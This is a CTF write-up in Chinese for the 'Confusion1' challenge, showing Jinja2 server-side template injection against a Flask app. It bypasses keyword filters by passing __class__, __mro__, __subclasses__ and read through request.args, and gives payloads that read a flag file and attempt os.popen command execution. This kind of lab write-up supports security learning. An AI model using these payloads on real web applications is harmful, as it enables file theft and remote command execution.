Confusion1
知识点
通过request.args.[key]来绕过关键字限制
在python的flask中的框架,可以通过request.args.get['key']来获取url中的get参数,类似于php中$_GET['key']
,在进行python模板注入时,我们可以利用这个性质来绕过关键字的书写
json
json是字符串类型,但是形式像python中的字典类型,主要作用在于,json是字符串就方便在各种编程语言中传输,并且方便转换成对象,数组等。
思路
进去题目页面,先f12没有提示,再然后只能发现只有index.php有回显,login.php和register.php都是回显404,我们这时f12可以看到提示 :/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt
,这应该是flag的位置,我们要去读取这个文件,这时我用dirsearch扫一下,发现payload都可以回显200,但是都只是回显一个弹框(只是内容不同),没有回显具体内容,抓包看响应头和请求头也没发现,然后就不知道怎么办。
看了wp说有python模板注入,傻了我,于是我用bp中的scanner模块扫一下,发现果然存在模板注入,并且告诉我是jinja2的模板引擎,那么就是python模板注入,估计是flask,于是开始注入
构造http://220.249.52.133:50097/{{2*2}}
回显The requested URL /4 was not found on this server.
那么我们就可以照着这个形式注入
构造http://220.249.52.133:50097/{{''.__class__}}
这时候回显了一个弹框,为什么呢,可能是存在过滤,过滤了url中的path,那么参数呢?
我们用request.args.key来试着利用参数进行绕过
构造http://220.249.52.133:50097/{{''[request.args.a]}}?a=__class__
回显The requested URL /<type 'str'> was not found on this server.
说明这里我们成功进行了绕过,接下来照着这个思路继续尝试,发现还过滤了mro,subclasses,read,我们照样利用参数进行绕过,注意[request.args.a][request.args.b]
之间相当于有个字符连接符,并且[request.args.a]()?a=read
注意a不是等于read(),不然会返回500。
构造payload:{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
得到flag
我试着根据http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
利用参数绕过,来得到flag
但是在尝试过程中发现globals被过滤了。不管在path中还是参数中都过滤了,不知道怎么绕过,就放弃了用第二种方法。。可能大佬知道怎么绕过